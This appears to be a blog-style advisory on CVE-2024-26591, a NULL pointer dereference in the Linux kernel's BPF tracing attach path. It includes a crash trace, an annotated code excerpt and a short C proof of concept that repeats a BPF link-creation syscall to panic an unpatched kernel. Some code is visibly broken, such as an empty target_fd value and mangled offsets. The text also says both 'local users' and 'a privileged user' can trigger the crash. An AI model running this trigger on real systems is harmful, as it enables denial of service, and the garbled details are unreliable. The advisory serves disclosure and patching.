Published: Jun 2024 <br>Affects: Linux Kernel (BPF subsystem)

Overview

A recently patched vulnerability in the Linux kernel’s BPF tracing subsystem (CVE-2024-26591) allowed local users to crash the system by tricking the BPF program attachment workflow. The bug stems from missing checks when reattaching BPF tracing programs using a series of specially crafted syscalls. This leads to a NULL pointer dereference and ultimately a kernel panic.

This article explains how the issue occurs, walks through the kernel code, shows a simple proof-of-concept, and references key upstream discussions.

What is BPF Tracing?

BPF (Berkeley Packet Filter) allows programs to run safely in the kernel for tracing, networking, security, etc. BPF “tracing” programs like fentry can be attached to function entry/exit points.

Kernel Crash Excerpt

BUG: kernel NULL pointer dereference, address: 0000000000000058
Call Trace:
 ? bpf_tracing_prog_attach+x279/x560
 ? bpf_tracing_prog_attach+x439/x560

The root cause is in bpf_tracing_prog_attach() (kernel/bpf/trampoline.c)

static int bpf_tracing_prog_attach(link, ...)
{
    struct bpf_prog *prog = ...;
    struct bpf_prog *tgt_prog = ...;

    if (!tgt_prog && !prog->aux->attach_btf) {
        // This is now fixed—return error if both are unset
        return -EINVAL;
    }

    // [ Previously, code would dereference prog->aux->attach_btf unconditionally ]
}

Before the patch, a sequence lacking proper attach_btf and missing a target could trick the kernel into accessing attach_btf, which is NULL ⇒ crash.

After the patch, if both tgt_prog==NULL and attach_btf==NULL, it returns -EINVAL (invalid argument), gracefully rejecting the bad action instead of panicking.

- Patch: bpf: Fix re-attachment branch in bpf_tracing_prog_attach

Exploit Details

Exploitability:

Here’s a *conceptual* C code snipplet (will trigger a panic on an unpatched kernel)

int rawtp_fd = bpf_prog_load_fd(BPF_PROG_TYPE_RAW_TRACEPOINT, ...);

// Load fentry program, set .attach_prog_fd = rawtp_fd
int fentry_fd = bpf_prog_load_fd(BPF_PROG_TYPE_TRACING, ... /* fentry */, .attach_prog_fd = rawtp_fd);

// Attempt to create a link without specifying a target (target_fd = )
struct bpf_link_create_attr attr = {
    .prog_fd = fentry_fd,
    .target_fd = , // <-- This is key
    .attach_type = BPF_TRACE_FENTRY,
};
int link_fd1 = syscall(__NR_bpf, BPF_LINK_CREATE, &attr, sizeof(attr));
// Repeat (should crash kernel)
int link_fd2 = syscall(__NR_bpf, BPF_LINK_CREATE, &attr, sizeof(attr));

Patch:

- Commit 79753c9 ("bpf: Fix re-attachment branch in bpf_tracing_prog_attach")

Linux distributions:

- Check your kernel version; make sure the fix is applied, especially on systems where tracing BPF programs can be loaded by administrators.

References

- Upstream patch and commit
- Linux kernel BPF Tracing link code (kernel/bpf/trampoline.c)
- CVE Record: CVE-2024-26591

Conclusion

CVE-2024-26591 is a subtle bug in the BPF tracing attach workflow, allowing a privileged user to unintentionally (or intentionally) crash the Linux kernel through problematic attachment sequences. The fix ensures that if there’s not enough information to resolve the attach context, the kernel bails out safely with -EINVAL.

If your systems run custom BPF programs or untrusted code, patch immediately! Always sanitize and limit BPF access on production machines.

Timeline

Published on: 02/22/2024 17:15:09 UTC
Last modified on: 03/18/2024 17:54:44 UTC